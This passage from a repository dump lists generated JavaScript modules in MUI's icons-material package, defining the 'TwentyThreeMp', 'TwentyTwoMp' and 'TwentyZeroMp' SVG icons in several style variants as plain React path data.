    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2zM10 9H8v1h3v1.5H6.5V9c0-.55.45-1 1-1h2V7h-3V5.5H10c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1m7.5 1.5c0 .55-.45 1-1 1H13V10h3V9h-2V8h2V7h-3V5.5h3.5c.55 0 1 .45 1 1zm-2 3.5H17v1.5h-1.5z\"\n}), 'TwentyThreeMp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyThreeMpOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6-1.5v6H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1zm3 3H15V14h1.5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 10H8V9h2c.55 0 1-.45 1-1V6.5c0-.55-.45-1-1-1H6.5V7h3v1h-2c-.55 0-1 .45-1 1v2.5H11zm6.5.5v-4c0-.55-.45-1-1-1H13V7h3v1h-2v1h2v1h-3v1.5h3.5c.55 0 1-.45 1-1\"\n}, \"2\")], 'TwentyThreeMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyThreeMpOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6-1.5v6H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1zm3 3H15V14h1.5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 10H8V9h2c.55 0 1-.45 1-1V6.5c0-.55-.45-1-1-1H6.5V7h3v1h-2c-.55 0-1 .45-1 1v2.5H11zm6.5.5v-4c0-.55-.45-1-1-1H13V7h3v1h-2v1h2v1h-3v1.5h3.5c.55 0 1-.45 1-1\"\n}, \"2\")], 'TwentyThreeMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyThreeMpRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M6.5 9c0-.55.45-1 1-1h2V7H7.25c-.41 0-.75-.34-.75-.75s.34-.75.75-.75H10c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1H8v1h2.25c.41 0 .75.34.75.75s-.34.75-.75.75H7.5c-.55 0-1-.45-1-1zm6 8.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1zm.5-7c0-.41.34-.75.75-.75H16V9h-1.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5H16V7h-2.25c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h2.75c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1h-2.75c-.41 0-.75-.34-.75-.75M18 16c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"1\")], 'TwentyThreeMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyThreeMpRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M6.5 9c0-.55.45-1 1-1h2V7H7.25c-.41 0-.75-.34-.75-.75s.34-.75.75-.75H10c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1H8v1h2.25c.41 0 .75.34.75.75s-.34.75-.75.75H7.5c-.55 0-1-.45-1-1zm6 8.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1zm.5-7c0-.41.34-.75.75-.75H16V9h-1.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5H16V7h-2.25c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h2.75c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1h-2.75c-.41 0-.75-.34-.75-.75M18 16c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"1\")], 'TwentyThreeMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyThreeMpSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v18h18V3zm3.5 5h3V7h-3V5.5H11V9H8v1h3v1.5H6.5zm6 10.5H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5zM13 10h3V9h-2V8h2V7h-3V5.5h4.5v6H13zm5 7h-3v1.5h-1.5v-6H18z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"1\")], 'TwentyThreeMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyThreeMpSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v18h18V3zm3.5 5h3V7h-3V5.5H11V9H8v1h3v1.5H6.5zm6 10.5H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5zM13 10h3V9h-2V8h2V7h-3V5.5h4.5v6H13zm5 7h-3v1.5h-1.5v-6H18z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"1\")], 'TwentyThreeMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyThreeMpTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1M13 10h3V9h-2V8h2V7h-3V5.5h3.5c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H13zM6.5 9c0-.55.45-1 1-1h2V7h-3V5.5H10c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1H8v1h3v1.5H6.5zM6 13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6-1.5v6H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1zm3 3H15V14h1.5z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 10H8V9h2c.55 0 1-.45 1-1V6.5c0-.55-.45-1-1-1H6.5V7h3v1h-2c-.55 0-1 .45-1 1v2.5H11zm6.5.5v-4c0-.55-.45-1-1-1H13V7h3v1h-2v1h2v1h-3v1.5h3.5c.55 0 1-.45 1-1\"\n}, \"4\")], 'TwentyThreeMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyThreeMpTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1M13 10h3V9h-2V8h2V7h-3V5.5h3.5c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H13zM6.5 9c0-.55.45-1 1-1h2V7h-3V5.5H10c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1H8v1h3v1.5H6.5zM6 13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6-1.5v6H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1zm3 3H15V14h1.5z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 10H8V9h2c.55 0 1-.45 1-1V6.5c0-.55-.45-1-1-1H6.5V7h3v1h-2c-.55 0-1 .45-1 1v2.5H11zm6.5.5v-4c0-.55-.45-1-1-1H13V7h3v1h-2v1h2v1h-3v1.5h3.5c.55 0 1-.45 1-1\"\n}, \"4\")], 'TwentyThreeMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyTwoMp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2zM10 9H8v1h3v1.5H6.5V9c0-.55.45-1 1-1h2V7h-3V5.5H10c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1m6.5 0h-2v1h3v1.5H13V9c0-.55.45-1 1-1h2V7h-3V5.5h3.5c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1m-1 5H17v1.5h-1.5z\"\n}), 'TwentyTwoMp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyTwoMp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2zM10 9H8v1h3v1.5H6.5V9c0-.55.45-1 1-1h2V7h-3V5.5H10c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1m6.5 0h-2v1h3v1.5H13V9c0-.55.45-1 1-1h2V7h-3V5.5h3.5c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1m-1 5H17v1.5h-1.5z\"\n}), 'TwentyTwoMp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyTwoMpOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6-1.5v6H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1zm3 3H15V14h1.5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 10H8V9h2c.55 0 1-.45 1-1V6.5c0-.55-.45-1-1-1H6.5V7h3v1h-2c-.55 0-1 .45-1 1v2.5H11zm6.5 0h-3V9h2c.55 0 1-.45 1-1V6.5c0-.55-.45-1-1-1H13V7h3v1h-2c-.55 0-1 .45-1 1v2.5h4.5z\"\n}, \"2\")], 'TwentyTwoMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyTwoMpOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6-1.5v6H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1zm3 3H15V14h1.5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 10H8V9h2c.55 0 1-.45 1-1V6.5c0-.55-.45-1-1-1H6.5V7h3v1h-2c-.55 0-1 .45-1 1v2.5H11zm6.5 0h-3V9h2c.55 0 1-.45 1-1V6.5c0-.55-.45-1-1-1H13V7h3v1h-2c-.55 0-1 .45-1 1v2.5h4.5z\"\n}, \"2\")], 'TwentyTwoMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyTwoMpRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M6.5 9c0-.55.45-1 1-1h2V7H7.25c-.41 0-.75-.34-.75-.75s.34-.75.75-.75H10c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1H8v1h2.25c.41 0 .75.34.75.75s-.34.75-.75.75H7.5c-.55 0-1-.45-1-1zm6 8.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1zm.5-7.25V9c0-.55.45-1 1-1h2V7h-2.25c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h2.75c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1h-2v1h2.25c.41 0 .75.34.75.75s-.34.75-.75.75H14c-.55 0-1-.45-1-1m5 5.5c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1z\"\n}, \"1\")], 'TwentyTwoMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyTwoMpRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M6.5 9c0-.55.45-1 1-1h2V7H7.25c-.41 0-.75-.34-.75-.75s.34-.75.75-.75H10c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1H8v1h2.25c.41 0 .75.34.75.75s-.34.75-.75.75H7.5c-.55 0-1-.45-1-1zm6 8.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1zm.5-7.25V9c0-.55.45-1 1-1h2V7h-2.25c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h2.75c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1h-2v1h2.25c.41 0 .75.34.75.75s-.34.75-.75.75H14c-.55 0-1-.45-1-1m5 5.5c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1z\"\n}, \"1\")], 'TwentyTwoMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyTwoMpSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v18h18V3zm3.5 5h3V7h-3V5.5H11V9H8v1h3v1.5H6.5zm6 10.5H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5zM13 8h3V7h-3V5.5h4.5V9h-3v1h3v1.5H13zm5 9h-3v1.5h-1.5v-6H18z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"1\")], 'TwentyTwoMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyTwoMpSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v18h18V3zm3.5 5h3V7h-3V5.5H11V9H8v1h3v1.5H6.5zm6 10.5H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5zM13 8h3V7h-3V5.5h4.5V9h-3v1h3v1.5H13zm5 9h-3v1.5h-1.5v-6H18z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"1\")], 'TwentyTwoMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyTwoMpTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1M13 9c0-.55.45-1 1-1h2V7h-3V5.5h3.5c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1h-2v1h3v1.5H13zM6.5 9c0-.55.45-1 1-1h2V7h-3V5.5H10c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1H8v1h3v1.5H6.5zM6 13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6-1.5v6H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1zm3 3H15V14h1.5z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 10H8V9h2c.55 0 1-.45 1-1V6.5c0-.55-.45-1-1-1H6.5V7h3v1h-2c-.55 0-1 .45-1 1v2.5H11zm6.5 0h-3V9h2c.55 0 1-.45 1-1V6.5c0-.55-.45-1-1-1H13V7h3v1h-2c-.55 0-1 .45-1 1v2.5h4.5z\"\n}, \"4\")], 'TwentyTwoMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyTwoMpTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1M13 9c0-.55.45-1 1-1h2V7h-3V5.5h3.5c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1h-2v1h3v1.5H13zM6.5 9c0-.55.45-1 1-1h2V7h-3V5.5H10c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1H8v1h3v1.5H6.5zM6 13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6-1.5v6H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1zm3 3H15V14h1.5z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 10H8V9h2c.55 0 1-.45 1-1V6.5c0-.55-.45-1-1-1H6.5V7h3v1h-2c-.55 0-1 .45-1 1v2.5H11zm6.5 0h-3V9h2c.55 0 1-.45 1-1V6.5c0-.55-.45-1-1-1H13V7h3v1h-2c-.55 0-1 .45-1 1v2.5h4.5z\"\n}, \"4\")], 'TwentyTwoMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyZeroMp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.5 7H16v3h-1.5zM19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2zm2-8c0 .55-.45 1-1 1H14c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1zM10 9H8v1h3v1.5H6.5V9c0-.55.45-1 1-1h2V7h-3V5.5H10c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1m5.5 5H17v1.5h-1.5z\"\n}), 